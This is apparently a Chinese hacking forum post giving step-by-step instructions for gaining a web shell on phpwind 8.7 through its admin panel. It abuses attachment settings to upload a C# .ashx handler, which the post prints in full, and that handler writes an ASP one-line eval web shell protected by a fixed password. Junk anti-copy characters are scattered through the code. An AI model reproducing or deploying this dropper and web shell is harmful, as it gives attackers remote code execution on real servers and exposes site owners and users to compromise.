phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小

4 ]( ?$ H( q& M) o* D1 a群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx

发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整

然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx
# X2 a( K6 T2 l' L) F
; [& P1 E% x, `  K  @6 g2 a打开之后空白 会在目录底下生成r00ts.asp 密码r00ts
8 u2 H) E1 R/ ^# u! `3 _
下面是代码:
1 H% N3 l# a' A4 X( ^0 R: G& ~" V
7 I# @  A! p* A  p2 r* r3 X2 F<%@ WebHandler Language="C#"Class="Handler" %>
. @/ R8 r6 K* I0 v9 R$ Q9 jusing System;
- C6 Q# _+ Z; O+ q5 f" Kusing System.Web;
: a. I+ v! J6 d( cusing System.IO;
public class Handler : IHttpHandler {
/ K/ j, {/ P" a, R* ?+ P7 Vpublic void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
3 a# p, S6 g! |" R" K, i% O( Jfile1.Write("<%eval request(\"r00ts\")%>");
( H+ Q, Q7 P( p! n9 p" }file1.Flush();
  `: Y- X& {; A* s. x1 Kfile1.Close();
}
- i7 E+ H1 ?# Rpublic bool IsReusable {
get {
" b5 W: ]/ Q" H: H1 D- t4 Rreturn false;
# a$ D* c7 Q: L  n! F. Z. T4 W* A}
}
) H3 K" u# G7 j}
% X3 M2 {: A  v2 G